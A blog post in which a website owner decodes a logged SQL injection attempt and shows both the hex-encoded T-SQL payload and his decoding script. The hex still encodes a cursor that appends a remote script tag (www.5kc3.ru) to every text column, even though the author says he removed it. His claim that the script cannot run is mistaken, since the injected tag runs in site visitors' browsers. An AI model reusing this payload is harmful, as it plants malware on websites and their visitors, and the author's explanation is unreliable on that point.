A SQL Injection attempt

I have email alerts configured on my websites for 404s and Injection attempts.
Ocasionally I review the folder of these mails and it struck me there had been quite a lot of injection attempts recently.

This attempt from a russian IP address in the early hours of the morning (captured by my detection script) -

PATH_INFO /injectionattempt.asp
PATH_TRANSLATED e:\domains\d\domain.co.uk\user\htdocs\injectionattempt.asp
QUERY_STRING page=index;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C4043205
64152434841522832353529204445434C415245205461626C655F437572736F72204355
52534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207
379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E6964
3D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3
939204F5220622E78747970653D3335204F5220622E78747970653D323331204F522062
2E78747970653D31363729204F50454E205461626C655F437572736F722046455443482
04E4558542046524F4D205461626C655F437572736F7220494E544F2040542C40432057
48494C4528404046455443485F5354415455533D302920424547494E204558454328275
55044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D2843
4F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C7
36372697074207372633D687474703A2F2F7777772E356B63332E72752F6E67672E6A73
3E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C6
55F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F
437572736F72204445414C4C4F43415445205461626C655F437572736F7220%20
AS%20VARCHAR(4000));EXEC(@S);--


Clearly an injection attack, but what does it attempt to do?
To discover this, we need to decode the Hex string hidden inside the CAST statement.
The following TSQL does this -

DECLARE  @Hex_String VARCHAR(MAX)
DECLARE  @DSql NVARCHAR(MAX)
DECLARE  @ASCII_Message VARCHAR(MAX)                        

SELECT @Hex_String = '0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E356B63332E72752F6E67672E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220'
SELECT @DSql = 'SELECT @ASCII_Message = CONVERT(VARCHAR(MAX), ' + @Hex_String + ')'
EXEC SP_EXECUTESQL  @DSql ,  N'@ASCII_Message NVARCHAR(MAX) OUTPUT' ,  @ASCII_Message OUTPUT  
SELECT @ASCII_Message

This provides the following TSQL -

DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))) FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor 

which formatted correctly, looks like this -

DECLARE  @T VARCHAR(255),         
     @C VARCHAR(255)

DECLARE TABLE_CURSOR CURSOR  FOR 
SELECT A.NAME,       
    B.NAME
FROM   SYSOBJECTS A,       
    SYSCOLUMNS B
WHERE  A.ID = B.ID       
   AND A.XTYPE = 'u'       
   AND (B.XTYPE = 99             
   OR B.XTYPE = 35             
   OR B.XTYPE = 231             
   OR B.XTYPE = 167)

OPEN TABLE_CURSOR
FETCH NEXT FROM TABLE_CURSOR INTO @T, @C
WHILE (@@FETCH_STATUS = 0)  
 BEGIN    
 EXEC( 'UPDATE [' + @T + '] SET [' + @C + ']=RTRIM(CONVERT(VARCHAR(4000),[' + @C + ']))+''''')        
 FETCH NEXT FROM TABLE_CURSOR INTO @T, @C  
 END
CLOSE TABLE_CURSOR
DEALLOCATE TABLE_CURSOR

Rather bizarrely the code uses a cursor to loop every column in every table, setting it to itself.
Well, itself trimmed to 4000 characters.
I imagine it would depend on an individual db as to how much damage it would do, but i'm glad it didnt run all the same. It attempts to reference a script at www.5kc3.ru (i have removed this and the surrounding script tags from this post) but i dont see how it would execute javascript from within sql!